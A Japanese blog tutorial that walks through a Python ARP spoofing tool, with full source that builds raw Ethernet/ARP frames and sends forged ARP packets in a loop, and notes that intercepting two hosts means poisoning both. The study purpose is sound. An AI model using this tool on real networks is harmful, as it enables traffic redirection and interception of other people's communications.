【Python】ARPを使ったネットワークプログラミング


Pythonの勉強のためARPスプーフィングツールを作り検証したいと思います。

ARPスプーフィングはターゲットのarpテーブルを書きかえるテクニックでしたね。
仕組みについては以前c言語で実装した時にまとめました。



ソケット作成


今回はethernetからまるごとパケットを作成します。
そのためプロトコルファミリーにAF_PACKETを指定します。
作成したソケットとネットワークインターフェースをbindします。

    self.soc = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
    self.soc.bind((interface, 0))

パケット作成


ethernetパケットとarpパケットを作ります。
面倒な部分はmacアドレスをバイナリに変換する処理ですかね。

ポートスキャンの時と同様struct.packを使ってうまい具合にパケットを構築します。

    # macアドレスを上手いこと変換。形式が正しいかなど厳密に確認しない
    def mac_to_string(self, mac_arg):
        mac = ["00" for _ in range(6)]
        mac_list = mac_arg.split(":")

        for i in range(len(mac_list)):
            mac[i] = mac_list[i]

        mac_bin = ""
        for m in mac:
            mac_bin += struct.pack("!B", int(m,16))
        return mac_bin

    # ethernetパケット作成
    def make_ether(self, s_mac, d_mac):
        return struct.pack("!6s6sH", d_mac, s_mac, 0x0806)

    # arpパケット作成
    def make_arp(self, s_mac, d_mac, s_ip, d_ip):
        # hardware type, protocol type, hardware address length, protocol address length, operation
        return struct.pack("!HHBBH6s4s6s4s", 0x1, 0x0800, 6, 4, 1, s_mac, s_ip, d_mac, d_ip)

ソースコードのすべて


面倒な処理はクラスに放り込んでしまいましょう。

spoofメソッドで一秒ごとに死ぬまでパケットを送信し続けます。

# coding: utf-8
import socket
import struct
import sys
import time

class ArpSpoof:
    def __init__(self, interface):
        self.soc = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
        self.soc.bind((interface, 0))

    def __del__(self):
        self.soc.close()

    # スプーフィングを開始します
    def spoof(self,s_mac,d_mac,s_ip,d_ip):
        print("spoofing ...")

        s_mac = self.mac_to_string(s_mac)
        d_mac = self.mac_to_string(d_mac)
        s_ip = socket.inet_aton(s_ip)
        d_ip = socket.inet_aton(d_ip)
        ether = self.make_ether(s_mac,d_mac)
        arp = self.make_arp(s_mac, d_mac, s_ip, d_ip)
        packet = ether+arp

        while True:
            print("- send arp packet")
            self.soc.send(packet)
            time.sleep(1)

    # macアドレスを上手いこと変換。形式が正しいかは確認しない
    def mac_to_string(self, mac_arg):
        mac = ["00" for _ in range(6)]
        mac_list = mac_arg.split(":")

        for i in range(len(mac_list)):
            mac[i] = mac_list[i]

        mac_bin = ""
        for m in mac:
            mac_bin += struct.pack("!B", int(m,16))
        return mac_bin

    # ethernetパケット作成
    def make_ether(self, s_mac, d_mac):
        return struct.pack("!6s6sH", d_mac, s_mac, 0x0806)

    # arpパケット作成
    def make_arp(self, s_mac, d_mac, s_ip, d_ip):
        # arp type, ip type, hardwareaddress length, ip address length, operation
        return struct.pack("!HHBBH6s4s6s4s", 0x1, 0x0800, 6, 4, 1, s_mac, s_ip, d_mac, d_ip)

動作確認


クラスの使い方です。

arp = ArpSpoof({インターフェース名})
arp.spoof({送信元macアドレス}, {送信先macアドレス}, {送信元ipアドレス}, {送信先ipアドレス})


単にターゲットのarpテーブルを書きかえるだけならこれだけでいいですが、
二台のマシンの通信を傍受したい場合二台ともarpテーブルを書きえかる必要があります。

最後に


Rustやc言語で実装した時よりもソースコード量を抑えることができました。
scapyを使えばさらに簡単に書くことができると思います。